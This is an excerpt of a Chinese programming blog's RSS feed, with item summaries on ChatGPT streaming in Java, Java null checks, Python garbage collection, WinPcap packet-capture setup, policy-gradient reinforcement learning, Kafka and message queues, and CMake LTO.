      <description>前言 chatGPT是一款高效强大的语言模型，能够给我们的生活带来极大的改变。无论是学习知识还是工作效率，chatGPT都能为我们提供有力的帮助。它可以帮助我们快速获取所需的知识，同时可以帮助我们提高工作效率，包括写文章、文案、推荐策略、生成代码、写周报，流程图等等。此外，它还可以成为您智能的助手，帮您打理日常事务，如一键预约、贴心提醒等。对于小朋友们来说，他还可以为他们写作文。总之，chatGPT是一个多功能的智能管家，不管您的需求是什么，它都能为您提供强大的支持。欢迎有需要的朋友戳链接体验：Talk-Bot，不喜勿喷，广交益友&#xA;废话不多说，直接上代码&#xA;SseEmitter 这种方式比较常用，我们这里引入github上PlexPt大神封装好的类直接引用即可,地址为：chatgpt-java，也可以自己封装哈&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.github.plexpt&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;chatgpt&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.0.7&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; private static final String OPENAI_API_HOST = &#34;https://api.openai.com/&#34;; @PostMapping(value = &#34;/v1/stream&#34;) public SseEmitter streamEvents(@RequestBody ChatRequest chatRequest) { SseEmitter sseEmitter = new SseEmitter(-1L); // 不需要代理的话，注销此行 Proxy proxy = Proxys.http(&#34;192.168.1.98&#34;, 7890); ChatGPTStream chatGPTStream = ChatGPTStream.builder() .timeout(600) .apiKey(&#34;你的openApiKey&#34;) .proxy(proxy) .apiHost(OPENAI_API_HOST) .build() .init(); SseStreamListener listener = new SseStreamListener(sseEmitter); Message message = Message.of(chatRequest.getInput()); ChatCompletion chatCompletion = ChatCompletion.builder() .model(ChatCompletion.Model.GPT_3_5_TURBO.getName()) .messages(Arrays.asList(message)) .build(); chatGPTStream.streamChatCompletion(chatCompletion, listener); listener.setOnComplate(msg -&amp;gt; { //回答完成，可以做一些事情 sseEmitter.</description>
    </item>
    <item>
      <title>Java的判空(附Optional理解)</title>
      <link>https://bchobby.github.io/posts/16331f2f41cf1d999d316c0ded243f74/</link>
      <pubDate>Mon, 04 Dec 2023 13:55:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16331f2f41cf1d999d316c0ded243f74/</guid>
      <description>校验List 在进行参数非空校验时，我们总是容易直接就对任何的东西都来一个！= null&#xA;其实这样并不完全正确，对list类型来说 不等于null和list.size != 0是不一样的。&#xA;不等于null是指已经声明了list的存在，并且在堆内存中有了引用。&#xA;size!=0是指里面没有东西。&#xA;将list就想成一个盒子，元素就是一个一个的球，list为null时，说明盒子不存在，size==0时，说明有盒子，只是盒子里没有球。&#xA;对于list的非空校验我通常使用的是&#xA;List list = new List(); if( list != null &amp;amp;&amp;amp; list.size != 0)system.out.println(&#39;&#39;集合存在且不空&#39;&#39;); else system.out.println(&#39;&#39;集合不存在或者集合为空&#39;&#39;); 校验字符串 有两个方法:&#xA;1.StringUtil.isNotEmpty() 2.StringUtil.isNotBlank() 首先两个方法都可以对null进行判断&#xA;StringUtil.isNotEmpty( null ) 返回false StringUtil.isNotBlank( null ) 返回false 对空字符串 &#34;&#34; 进行判断&#xA;StringUtil.isNotEmpty( &#34;&#34; ) 返回false StringUtil.isNotBlank( &#34;&#34; ) 返回false 唯一的区别在于对于空格字符的判断&#xA;StringUtil.isNotEmpty( &#34; &#34; ) 返回true StringUtil.isNotBlank( &#34; &#34; ) 返回false 如果字符串是一连串的空格，那么isNotEmpty()的返回值就是true，认为该串不空&#xA;但是对于isNotBlank( &#34; &#34; )则会认为没有有效字符，返回false&#xA;通常我们使用isNotBlank来判断有效值&#xA;if(StringUtils.isBlank(phoneNumber)){ throw new RestException(&#34;</description>
    </item>
    <item>
      <title>Python(二)</title>
      <link>https://bchobby.github.io/posts/d51c73496a666d744fee5b992eb85228/</link>
      <pubDate>Mon, 04 Dec 2023 13:39:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d51c73496a666d744fee5b992eb85228/</guid>
      <description>1.垃圾回收机制 #1.引用计数 x=10&#x9;# 直接引用 print(id(x)) y=x z=x l=[&#39;a&#39;, &#39;b&#39;, x]&#x9;# 间接引用 print(id(l[2])) d = {&#39;mmm&#39;: x} print(id(d[&#39;mmm&#39;])) # 2.标记清除 # 循环引用=》导致内存泄露 l1 = [111, ] l2 = [222, ] l1.append(l2) # l1=[值111的内存地址，l2列表的内存地址] l2.append(l1) # l2=[值222的内存地址，l1列表的内存地址] print(id(l1[1])) print(id(l2)) print(id(l2[1])) print(id(l1)) print(l2) print(l1[1]) del l1 del l2 #3.分代回收 分代指的是根据存活时间来为变量划分不同等级（也就是不同的代） 新定义的变量，放到新生代这个等级中，假设每隔1分钟扫描新生代一次， 如果发现变量依然被引用，那么该对象的权重（权重本质就是个整数）加一， 当变量的权重大于某个设定得值（假设为3），会将它移动到更高一级的青春代， 青春代的gc扫描的频率低于新生代（扫描时间间隔更长），假设5分钟扫描青春代一次， 这样每次gc需要扫描的变量的总个数就变少了，节省了扫描的总时间， 接下来，青春代中的对象，也会以同样的方式被移动到老年代中。 也就是等级（代）越高，被垃圾回收机制扫描的频率越低 2.格式化输出 1.%号 # 1、格式的字符串（即%s）与被格式化的字符串（即传入的值）必须按照位置一一对应 # ps：当需格式化的字符串过多时，位置极容易搞混 print(&#39;%s asked %s to do something&#39; % (&#39;egon&#39;, &#39;lili&#39;)) # egon asked lili to do something print(&#39;%s asked %s to do something&#39; % (&#39;lili&#39;, &#39;egon&#39;)) # lili asked egon to do something # 2、可以通过字典方式格式化，打破了位置带来的限制与困扰 print(&#39;我的名字是 %(name)s, 我的年龄是 %(age)s.</description>
    </item>
    <item>
      <title>【bug解决】python文件使用keyboard库监听键盘时遇到“You must be root to use this library on linux”</title>
      <link>https://bchobby.github.io/posts/a9d8a6ab0f47760f9a09a8b9bb4af421/</link>
      <pubDate>Mon, 04 Dec 2023 10:10:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9d8a6ab0f47760f9a09a8b9bb4af421/</guid>
      <description>bug如题，仅作个人记录。 Ubuntu 20.04Python 3.8.17terminal 运行python文件 本人是在用键盘控制Airsim仿真无人机时爆出该错误，网上搜索的方式都解决不了，这里简单记录。&#xA;用以下这套安装和运行命令，反正至少我的环境work了。&#xA;sudo pip3 install keyboard sudo python3 XXX.py PS. 我胡汉三终于回来咯，干了很久的杂事，回归老本行，开始陆陆续续恢复更新~</description>
    </item>
    <item>
      <title>VS2022配置WinPcap开发</title>
      <link>https://bchobby.github.io/posts/b16edf725ab067ef2c95fbda2ea34d87/</link>
      <pubDate>Mon, 04 Dec 2023 10:07:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b16edf725ab067ef2c95fbda2ea34d87/</guid>
      <description>winpcap 官网：http://www.winpcap.org/&#xA;1.首先下载安装 winpcap.exe，http://www.winpcap.org/install/default.htm&#xA;目的是安装相关驱动和 dll，安装完成之后基于 winpcap 的应用程序才能够正常运行。&#xA;2.下载 winpcap 的开发包，头文件和库文件：http://www.winpcap.org/devel.htm，解压之后主要是头文件和库文件，记得将 WpdPack 复制到 D 盘（直接放在D盘，不要包含在其他文件夹下），如图所示：&#xA;VS2022新建一个C++工程，具体操作可参考我上一篇文章，文章链接如下：http://t.csdnimg.cn/RRO57&#xA;创建工程后，首先在 vs 中配置（vc++目录：include 目录和 lib 目录），具体步骤如下：&#xA;点击“项目”，再点击最下方的属性：&#xA;点击VC++目录，如图所示：&#xA;接下来修改“包含目录”和“库目录”，包含目录修改为：D:\WpdPack\Include;$(IncludePath)&#xA;库目录修改为：D:\WpdPack\Lib\x64;$(LibraryPath)，如图所示：&#xA;接着，link 输入：wpcap.lib，ws2_32.lib，具体步骤如下：&#xA;在左边的配置属性找到“链接器”，点击，接着点击“输入”：&#xA;然后在“附加依赖项”处，添加wpcap.lib和ws2_32.lib两个库，如图所示：（前面的用这两个替换掉，后面的不要动）&#xA;接着点击配置预处理器定义，具体步骤如下：&#xA;在配置属性处点击C/C++，接着点击“预处理器”，如图所示：&#xA;在“预处理器定义”处修改为“WPCAP;HAVE_REMOTE;WIN32;_CRT_SECURE_NO_WARNINGS;_WINSOCK_DEPRECATED_NO_WARNINGS”，如图所示：&#xA;接着点击“应用”，再点击“确定”，如图：&#xA;代码如下：&#xA;//#define HAVE_REMOTE //#define WPCAP #include &#34;pcap.h&#34; #include &amp;lt;winsock2.h&amp;gt; #include &amp;lt;string.h&amp;gt; #include &amp;lt;stdio.h&amp;gt; using namespace std; #pragma comment(lib, &#34;wpcap.lib&#34;) #pragma comment(lib, &#34;Ws2_32.lib&#34;) #define LINE_LEN 16 #define MAX_ADDR_LEN 16 FILE* file = 0; int ip_len; int tcp_len; // 以太网协议格式的定义 typedef struct ether_header { u_char ether_dhost[6]; // 目标 MAC 地址 u_char ether_shost[6]; // 源 MAC 地址 u_short ether_type; // 以太网类型 }ether_header; // 用户保存 4 字节的 IP 地址 typedef struct ip_address { u_char byte1; u_char byte2; u_char byte3; u_char byte4; }ip_address; // 用于保存 IPV4 的首部 typedef struct ip_header { u_char version_hlen; // 首部长度 版本 u_char tos; // 服务质量 u_short tlen; // 总长度 u_short identification; // 身份识别 u_short flags_offset; // 标识 分组偏移 u_char ttl; // 生命周期 u_char proto; // 协议类型 u_short checksum; // 包头测验码 u_int saddr; // 源 IP 地址 u_int daddr; // 目的 IP 地址 }ip_header; // 用于保存 TCP 首部 typedef struct tcp_header { u_short sport; u_short dport; u_int sequence; // 序列码 u_int ack; // 回复码 u_char hdrLen; // 首部长度保留字 u_char flags; // 标志 u_short windows; // 窗口大小 u_short checksum; // 校验和 u_short urgent_pointer; // 紧急指针 }tcp_header; // 用于保存 UDP 的首部 typedef struct udp_header { u_short sport; // 源端口 u_short dport; // 目标端口 u_short datalen; // UDP 数据长度 u_short checksum; // 校验和 }udp_header; // 用于保存 ICMP 的首部 typedef struct icmp_header { u_char type; // ICMP 类型 u_char code; // 代码 u_short checksum; // 校验和 u_short identification; // 标识 u_short sequence; // 序列号 u_long timestamp; // 时间戳 }icmp_header; // 用于保存 ARP 的首部 typedef struct arp_header { u_short hardware_type; // 格式化的硬件地址 u_short protocol_type; // 协议地址格式 u_char hardware_length; // 硬件地址长度 u_char protocol_length; // 协议地址长度 u_short operation_code; // 操作码 u_char source_ethernet_address[6]; // 发送者硬件地址 u_char source_ip_address[4]; // 发送者协议地址 u_char destination_ethernet_address[6]; // 目的方硬件地址 u_char destination_ip_address[4]; // 目的方协议地址 }arp_header; #define str4cmp(m, c0, c1, c2, c3) \ (m[0] == c0 &amp;amp;&amp;amp; m[1] == c1 &amp;amp;&amp;amp; m[2] == c2 &amp;amp;&amp;amp; m[3] == c3) void http_protocol_packet_handle(u_char* arg, const struct pcap_pkthdr* pkt_header, const u_char* pkt_content) { FILE* file1 = 0; //下面这个打开文件能写在这里吗？在这里打开有什么问题？写在这里合适吗？如何改进一下？ if ((file1 = freopen(&#34;</description>
    </item>
    <item>
      <title>普通策略梯度算法原理及PyTorch实现【VPG】</title>
      <link>https://bchobby.github.io/posts/15d7bade639694b55cf492e9efc775bc/</link>
      <pubDate>Mon, 04 Dec 2023 08:48:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15d7bade639694b55cf492e9efc775bc/</guid>
      <description>有没有想过强化学习 (RL) 是如何工作的？&#xA;在本文中，我们将从头开始构建最简单的强化学习形式之一 —普通策略梯度（VPG）算法。 然后，我们将训练它完成著名的 CartPole 挑战 — 学习从左向右移动购物车以平衡杆子。 在此过程中，我们还将完成对 OpenAI 的 Spinning Up 学习资源的第一个挑战。&#xA;NSDT工具推荐： Three.js AI纹理开发包 - YOLO合成数据生成器 - GLTF/GLB在线编辑 - 3D模型格式在线转换 - 可编程3D场景编辑器 - REVIT导出3D模型插件 - 3D模型语义搜索引擎&#xA;本文的代码可以在 这里 找到。&#xA;1、我们的方法 我们将通过创建一个简单的深度学习模型来解决这个问题，该模型接受观察并输出随机策略（即采取每个可能行动的概率）。&#xA;然后，我们需要做的就是通过在环境中采取行动并使用此策略来收集经验。&#xA;当我们有足够的批量经验（几个episode经验的集合）后，我们需要转向梯度下降来改进模型。 在较高层面上，我们希望增加策略的预期回报，这意味着调整权重和偏差以增加高预期回报行动的概率。 就 VPG 而言，这意味着使用策略梯度定理，该定理给出了该预期回报的梯度方程（如下所示）。&#xA;这就是全部内容了—所以让我们开始编码吧！&#xA;2、创建模型 我们将首先创建一个带有一个隐藏层的非常简单的模型。 第一个线性层从 CartPole 的观察空间获取输入特征，最后一层返回可能结果的值。&#xA;def create_model(number_observation_features: int, number_actions: int) -&amp;gt; nn.Module: &#34;&#34;&#34;Create the MLP model Args: number_observation_features (int): Number of features in the (flat) observation tensor number_actions (int): Number of actions Returns: nn.</description>
    </item>
    <item>
      <title>pip list有第三方库/包，但是pycharm显示未安装，无法调用</title>
      <link>https://bchobby.github.io/posts/48d0e2589e220d6f12bf17c0f44d62dd/</link>
      <pubDate>Mon, 04 Dec 2023 02:24:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48d0e2589e220d6f12bf17c0f44d62dd/</guid>
      <description>以pulp为例，&#xA;已在cmd中使用pip安装pulp库，但是使用pycharm调用pulp库import pulp时报错，显示没有这个库&#xA;（pip list中有pulp库，但是pycharm中始终无法调用，即显示未安装pulp）&#xA;1、找原因：主要是pycharm运行的解释器是 Anaconda3 里的库，但是直接使用cmd+pip下载的库在系统里，并不是在这个Anaconda3环境里&#xA;解决方案：在Anaconda3环境里安装pulp库即可&#xA;2、使用【win+R】弹出运行窗口，输入cmd进入小黑框&#xA;此步骤主要参考：CMD安装库的方法&#xA;（https://jingyan.baidu.com/article/e4511cf39d7e386a855eaf25.html）&#xA;1）查看环境变量名字，如变量名为“base”&#xA;conda info --envs 2）激活环境&#xA;格式为activate &amp;lt;环境变量名&amp;gt;&#xA;activate base 3）转到.whl文件所在的文件地址去&#xA;转盘直接e:这样，转到E盘具体文件地址，用 cd\&amp;lt;地址&amp;gt;&#xA;（这里的安装是错误示范，因为并没有安装到 Anaconda3里去，仍然是系统的本身的环境，所以还是会显示没有安装pulp库）&#xA;报错如下： 显示已经安装过（在系统环境里），不能安装。&#xA;正确安装状态，如下图所示：&#xA;在Anaconda3环境里正常安装。&#xA;安装指令格式如：python -m pip install +空格+文件全名（包括后缀）&#xA;此时，再调用pulp包不再报错。&#xA;4）可以顺手把系统环境里的pulp库卸载掉&#xA;至此，问题解决。&#xA;其他第三方python库可同理。&#xA;还有一种偷懒的方法&#xA;若已经在python里下载了完整的库，且库比较大，下载时间耗时，可以直接把这个库挪到Anaconda里面就行&#xA;复制或者粘贴到Anaconda的site-packages里</description>
    </item>
    <item>
      <title>MQ - KAFKA 高级篇</title>
      <link>https://bchobby.github.io/posts/b303328cf441c7ea7259afb3f92c4860/</link>
      <pubDate>Mon, 04 Dec 2023 02:12:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b303328cf441c7ea7259afb3f92c4860/</guid>
      <description>kafak是一个分布式流处理平台,提供消息持久化,基于发布-订阅的方式的消息中间件，同时通过消费端配置相同的groupId支持点对点通信。&#xA;##适用场景：&#xA;构造实时流数据管道,用于系统或应用之间可靠的消息传输.数据采集及处理,例如连接到一个数据库系统,捕捉表的变更内容.构建实时流式应用程序，对这些流数据进行转换或者影响,如:应用程序作为一个流处理器，消费一个或者多个topic产生的输入流，然后生产一个输出流到一个或多个topic中去，在输入输出流中进行有效的转换.应用耦合：多应用间通过消息队列对同一消息进行处理，避免调用接口失败导致整个过程失败；异步处理：多应用对消息队列中同一消息进行处理，应用间并发处理消息，相比串行处理，减少处理时间；限流削峰：广泛应用于秒杀或抢购活动中，避免流量过大导致应用系统挂掉的情况；消息驱动的系统：系统分为消息队列、消息生产者、消息消费者，生产者负责产生消息，消费者(可能有多个)负责对消息进行处理； ##特性：&#xA;8. 生产者/消费者支持多语言。&#xA;9. 支持分布式横向扩缩容。&#xA;10. 高性能(高吞吐量)。&#xA;11. 版本向下兼容。&#xA;12. 提供消息持久化。&#xA;13. 流处理。&#xA;##高性能实现：&#xA;14. 磁盘顺序读取和写入(接近内存随机读写的性能)。&#xA;15. nio和零拷贝。&#xA;16. 消息批处理。&#xA;17. 消息压缩&#xA;##多个producer和多个consumer group及zk示意图如下：&#xA;其中zookeeper是基于zab分布式协议实现的一个组件,主要实现对broker集群起协调作用,详细的后面文章再探讨.&#xA;注意图中的消费者和生产者,均是仅和分区的leader相连,所有的flower不参与外部交互,在内部作为leader的消费者去拉去消息进行追赶.&#xA;其中broker中还有几个概念&#xA;##问：kafka是如何保证它的高吞吐量？&#xA;1.消息生产者批量发送压缩消息&#xA;结合磁盘顺序写入，批量处理无疑是非常有必要（如果用的时候每发送一条消息都调用future.get等待，性能至少下降2个数量级）。写入的时候放到RecordAccumulator进行聚合，批量压缩，还有批量刷盘等…&#xA;producer批量并压缩消息–&amp;gt;broker直接落盘–&amp;gt;consumer批量获取消息并解压&#xA;批量和压缩可以大大降低网络开销和磁盘io开销,极大的提高吞吐量,且消息体越大,单批消息越多,效果越好.&#xA;broker端有个压缩格式的配置,默认跟从producer配置,若是指明了压缩格式后,则必须保证producer和broker一致,否则将会导致0拷贝失效,建议采用默认配置,既该配置会尊重producer的压缩格式.&#xA;简单来讲，整个生产者客户端（java版本）由两个线程协调运行，这两个线程分别为主线程和Sender线程（发送线程）。在主线程中由KafkaProducer创建消息，然后通过可能的拦截器、序列化器和分区器的作用之后缓存到消息累加器（RecordAccumulator，也称为消息收集器）中。Sender 线程负责从RecordAccumulator中获取消息并将其发送到Kafka中。RecordAccumulator 主要用来缓存消息以便 Sender 线程可以批量发送，进而减少网络传输的资源消耗以提升性能。&#xA;2、pageCache的使用&#xA;kafka没有选择In-Process Cache的方式,而是在消息写入和读取的过程中充分的利用了操作系统的页缓存及磁盘预读取等特性。&#xA;pageCache避免在JVM内部缓存数据,当broker重启时,由于避免了缓存加载到jvm中的过程,大大加快broker的恢复速度,同时可避免不必要的GC,大大节约内存占用.磁盘预读取则有效的降低了磁盘io次数.kafka的消息读取和写入,时间复杂度为O(1)&#xA;3、零拷贝(Zero-Copy) （包括kafka收到消息写和kafka发出消息读）&#xA;由原来的四次拷贝转换为两次拷贝，这是其一；同时也减少了内核态和用户态的切换开销。&#xA;零拷贝是有硬件条件支持的，即DMA:DMA(Direct Memory Access，直接内存存取) 是所有现代计算机的重要特色，它允许不同速度的硬件装置直接沟通，而不需要依于CPU的大量中断负载.在现代计算机中,运算单元不再仅仅是cpu。网卡/磁盘等都可以认为是DMA设备,是一个半自治单元,比如网卡有它自己的运算单元(相当于特异化的cpu)和自己的缓存,网卡接收和发送数据时是不需要cpu的全程参与的,磁盘也是类似的.简单来讲就是dma设备就是cpu领导下的一个不太聪明的小弟,cpu负责指挥小弟去干活,但干活的过程中是不需要cpu参与的.nio和0拷贝都是为了解放cpu。&#xA;4、磁盘顺序读写（包括kafka收到消息写和kafka发出消息读）&#xA;kafka采用日志append的方式,一直在文件的末尾追加消息,既顺序写入,该方式比内存的随机写还要快一些，相当于按住磁头不动一直写，不需要多于的磁柱旋转时间和磁头寻址时间。还有一点是一个ProducerBatch是4KB，OS每次写是(8*512B)=4KB&#xA;5、Kafka二分查找定位数据&#xA;Kafka里面每一条消息，都有自己的offset（相对偏移量），存在物理磁盘上面，在position Position：物理位置（磁盘上面哪个地方）也就是说一条消息就有两个位置：offset：相对偏移量（相对位置）position：磁盘物理位置 稀疏索引： Kafka中采用了稀疏索引的方式读取索引，kafka每当写入了4k大小的日志（.log），就往index里写入一个记录索引。其中会采用二分查找&#xA;##问kafka什么情况下零拷贝失效？&#xA;1客户端的压缩格式和服务的压缩格式不一样&#xA;2由于消息格式的变动,若是集群版本和客户端版本不一致,有可能broker为了协议兼容,需要做消息格式转换,此转换会导致kafka的零拷贝失效,生产环境的表现就是kafka集群的性能大幅下降,尤其需要注意的是kafka的0.10.x和0.11.x,这两个版本把kakfa的消息格式分为了三个版本。&#xA;零拷贝可参考如下几篇优秀文章：&#xA;Linux I/O 原理和 Zero-copy 技术全面揭秘&#xA;张彦飞：图解Linux网络包接收过程</description>
    </item>
    <item>
      <title>MQ - KAFKA 基础篇</title>
      <link>https://bchobby.github.io/posts/aeed51a7b09efd4e4a8f8518fdd8ffbc/</link>
      <pubDate>Mon, 04 Dec 2023 01:08:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aeed51a7b09efd4e4a8f8518fdd8ffbc/</guid>
      <description>##1、KAFKA的核心组件/API&#xA;Producer API，它允许应用程序向一个或多个 topics 上发送消息记录&#xA;Consumer API，允许应用程序订阅一个或多个 topics 并处理为其生成的记录流&#xA;Streams API，它允许应用程序作为流处理器，从一个或多个主题中消费输入流并为其生成输出流，有效的将输入流转换为输出流。&#xA;Connector API，它允许构建和运行将 Kafka 主题连接到现有应用程序或数据系统的可用生产者和消费者。例如，关系数据库的连接器可能会捕获对表的所有更改&#xA;如下是KAFKA API图&#xA;##2、KAFKA的一些概念&#xA;我们从几个图来了解KAFKA的相关概念&#xA;2.1、broker/物理概念：一个kafka服务器实例就是一个broker，多个kafka instance构成kafka cluster。broker 接收来自生产者的消息，为消息设置偏移量，并提交消息到磁盘保存。broker 为消费者提供服务，对读取分区的请求作出响应，返回已经提交到磁盘上的消息。&#xA;2.2、topic/逻辑概念：在 kafka 中，使用一个类别属性来划分消息的所属类，划分消息的这个类称为 topic。在 kafka 中，可以无数个topic。&#xA;2.3、partion/物理概念：默认一个topic有一个分区（partition），自己可设置多个分区（分区分散存储在服务器不同节点上），partition在磁盘上就体现为一个目录。一个分区就是一个 提交日志。消息以追加的形式写入分区，先后以顺序的方式读取。&#xA;2.4、segment/物理概念：一个partition当中存在多个segment文件段，每个 segment 文件的大小相等且每个segment分为两部分，.log文件和.index文件，其中.index文件是索引文件，主要用于快速查询.log文件当中数据的偏移量位置&#xA;2.5、producer/物理概念：生产消息并通过zookeeper集群得知broker地址将消息push到broker中&#xA;2.6、consumer/物理概念：生产消息并通过zookeeper集群得知broker地址将消息从broker中pull到&#xA;2.7、zookeeper cluster/物理概念：相当于注册中心，含有broker信息，producer信息，consumer信息&#xA;2.8、consumer group/逻辑概念：由多个consumer组成共同消费broker/topic中的消息，消费者在消费消息时需要提供一个group id。注意的是同组消费者是处于竞争关系，即消息只能被同组中的某个消费者消费&#xA;2.9、controller/逻辑概念：控制器，在 Kafka 集群中会有一个或多个 broker，其中有一个 broker 会被选举为控制器（Kafka Controller），它负责管理整个集群中所有分区和副本的状态。&#xA;2.10、ConsumerCoordinator与GroupCoordinator：新版本消费者为了降低对zk的依赖，避免羊群效应和脑裂问题，服务端引入了组协调器，消费者客户端引入了消费者协调器负责与服务端的组协调器进行交互。最重要的职责就是负责执行消费者再均衡的操作，包括分区分配的工作也是在再均衡期间完成的。&#xA;##3、对于上面kafka概念补充说明&#xA;3.1、topic补充说明：&#xA;3.1.1：首先它是一个逻辑上的东西，它有多个或一个分区组成，并且当有多个分区且多个broker实例时，一个topic的消息以分区的形式可以存在在不同的broker上。如下图partition0+partition1+partition2=topic，且partition0、partition1、partition2可以自由地分布在不同broker中&#xA;3.1.2：topic的Partition数量在创建topic时配置。&#xA;3.1.3：Partition数量决定了每个Consumer group中并发消费者的最大数量。如下图有两个broker，且topic被分成P0，P1，P2，P3四个分区，一个组中最大的并发消费数量为group B中的四个。&#xA;3.1.4：Partition中写入的offset&#xA;kafka当中的partition的offset任何发布到此partition的消息都会被直接追加到log文件的尾部，每条消息在文件中的位置称为offset（偏移量），offset是一个long类型数字，它唯一标识了一条消息，消费者通过（offset，partition，topic）跟踪记录。结合3.3看就能理解&#xA;3.2、Partition副本补充说明：&#xA;3.2.1：一个broker下不存在某个partition的副本，副本只能存在在其他broker中，如下图：&#xA;3.2.2：副本分为leader副本和follower副本。&#xA;leader副本,代表分区本身,生产者的push和消费者pull的时候都只能通过leader推送和获取.凡事都可能例外，在最新版本中存在配置可消费非leader副本（与跨中心镜像容灾相关，日常使用不到）。&#xA;follower副本,leader的跟班,负责同步leader的消息,是leader的备份,防止broker故障时丢失消息.对用户来说,不用关心,kafka内部维护,并在leader崩溃时自动选举新的leader。&#xA;isr副本集合：跟随leader最快的副本,在leader故障时,可配置优先从isr中选举leader或仅从isr中选举leader. isr是为了提高kafka的吞吐量,当kafka收到消息时,不用等待所有副本回复确认,这是可用性和一致性的权衡.isr在高版本的kafka中有配置的最大等待同步时间确定,低版本中还要再加一个最大延迟的条数.总之是个动态维护的副本子集。&#xA;3.3、Segment补充说明&#xA;一个partition当中由多个segment文件组成，每个segment文件，包含两部分，一个是.log文件，另外一个是.index文件，其中.log文件包含了我们发送的数据存储，.index文件，记录的是我们.log文件的数据索引值，以便于我们加快数据的查询速度。下图是.index文件和.log文件对应关系：&#xA;3.3.1：.index文件3,497代表：数据文件中的第三个message,它的偏移地址为497；.log文件Message 368772表示：在全局partiton中是第368772个message</description>
    </item>
    <item>
      <title>MQ - 消息系统</title>
      <link>https://bchobby.github.io/posts/61f4100d9deb55d2e5e576b595ee0ccf/</link>
      <pubDate>Sun, 03 Dec 2023 22:16:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61f4100d9deb55d2e5e576b595ee0ccf/</guid>
      <description>消息系统 1、消息系统的演变 在大型系统中，会需要和很多子系统做交互，也需要消息传递，在诸如此类系统中，你会找到源系统（消息发送方）和 目的系统（消息接收方）。为了在这样的消息系统中传输数据，你需要有合适的数据管道。如下：&#xA;这种数据的交互看起来就很混乱，如果我们使用消息传递系统，那么系统就会变得更加简单和整洁。如下：&#xA;2、为什么要消息系统 2.1. 解耦合&#xA;2.2 异步处理 例如电商平台，秒杀活动。一般流程会分为：1: 风险控制 、2： 库存锁定 、3： 生成订单 、4： 短信通知 、5： 更新数据&#xA;2.3 通过消息系统将秒杀活动业务拆分开，将不急需处理的业务放在后面慢慢处理；流程改为：1： 风险控制 、2： 库存锁定 、3: 消息系统 、4: 生成订单 、5： 短信通知 、6： 更新数据&#xA;2.4 流量的控制 ：1. 网关在接受到请求后，就把请求放入到消息队列里面 2.后端的服务从消息队列里面获取到请求，完成后续的秒杀处理流程。然后再给用户返回结果。优点：控制了流量 缺点：会让流程变慢&#xA;3、消息队列的两种模式 3.1、点对点模式&#xA;点对点模式下包括三个角色：消息队列、发送者 (生产者)、接收者（消费者）&#xA;消息发送者生产消息发送到queue中，然后消息接收者从queue中取出并且消费消息。消息被消费以后，queue中不再有存储，所以消息接收者不可能消费到已经被消费的消息。&#xA;点对点模式特点：&#xA;每个消息只有一个接收者（Consumer）(即一旦被消费，消息就不再在消息队列中)；&#xA;发送者和接收者间没有依赖性，发送者发送消息之后，不管有没有接收者在运行，都不会影响到发送者下次发送消息；&#xA;接收者在成功接收消息之后需向队列应答成功，以便消息队列删除当前接收的消息；&#xA;3.2、发布/订阅模式&#xA;发布/订阅模式下包括三个角色：角色主题（Topic）、发布者(Publisher)、订阅者(Subscriber)&#xA;发布者将消息发送到Topic,系统将这些消息传递给多个订阅者。&#xA;发布/订阅模式特点：&#xA;每个消息可以有多个订阅者；&#xA;发布者和订阅者之间有时间上的依赖性。针对某个主题（Topic）的订阅者，它必须创建一个订阅者之后，才能消费发布者的消息。&#xA;为了消费消息，订阅者需要提前订阅该角色主题，并保持在线运行；</description>
    </item>
    <item>
      <title>LTO编译器优化介绍以及开启方法</title>
      <link>https://bchobby.github.io/posts/9625badf0e8b1d291a00aaa1d33c118f/</link>
      <pubDate>Sun, 03 Dec 2023 21:06:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9625badf0e8b1d291a00aaa1d33c118f/</guid>
      <description>文章目录 LTO介绍LTO 开启方法 LTO介绍 LTO（Link Time Optimization，链接时优化）是一种在链接阶段进行优化的技术。传统的编译过程中，编译器仅能对单个编译单元进行优化。LTO 允许编译器看到跨编译单元的代码，从而进行更复杂和更有效的优化。&#xA;LTO 可以提高程序的性能、缩减代码体积、提高代码安全性。&#xA;性能提升&#xA;LTO 可以通过以下方式提高程序的性能：&#xA;内联函数：将频繁调用的函数内联到调用点，可以减少函数调用的开销。函数重定位：将函数的代码移动到更合适的位置，可以减少函数调用的距离。代码融合：将多个代码块合并为一个代码块，可以减少代码的执行次数。数据流分析：通过分析数据流，可以消除不必要的代码。 代码体积缩减&#xA;LTO 可以通过以下方式缩减代码体积：&#xA;函数内联：将频繁调用的函数内联到调用点，可以减少函数代码的体积。代码删除：通过分析数据流，可以消除不必要的代码。代码融合：将多个代码块合并为一个代码块，可以减少代码的体积。 代码安全性提高&#xA;LTO 可以通过以下方式提高代码安全性：&#xA;函数内联：将频繁调用的函数内联到调用点，可以减少函数调用带来的安全风险。代码删除：通过分析数据流，可以消除不必要的代码，从而减少代码中的安全漏洞。 LTO 的使用&#xA;LTO 通常在生产环境中使用，以提高程序的性能和安全性。LTO 可以通过编译器的编译选项来启用。例如，在 GCC 中，可以使用 -flto 选项来启用 LTO。&#xA;LTO 的使用需要注意以下几点：&#xA;LTO 会增加编译时间。LTO 可能会导致代码的行为发生变化，需要进行充分的测试。LTO 可能与某些特定的编译器选项或平台不兼容。 LTO 的应用场景&#xA;LTO 适用于以下场景：&#xA;性能要求高的程序，例如游戏、图形处理程序等。安全性要求高的程序，例如金融软件、医疗软件等。代码体积较大的程序，例如大型应用程序、数据库软件等。 LTO 开启方法 function(target_enable_lto TARGET ENABLE) if(NOT ${ENABLE}) return() endif() include(CheckIPOSupported) check_ipo_supported(RESULT result OUTPUT output) if(result) message(STATUS &#34;IPO/LTO is supported!&#34;) set_property(TARGET ${TARGET} PROPERTY INTERPROCEDURAL_OPTIMIZATION ${ENABLE}) else() message(WARNING &#34;</description>
    </item>
    <item>
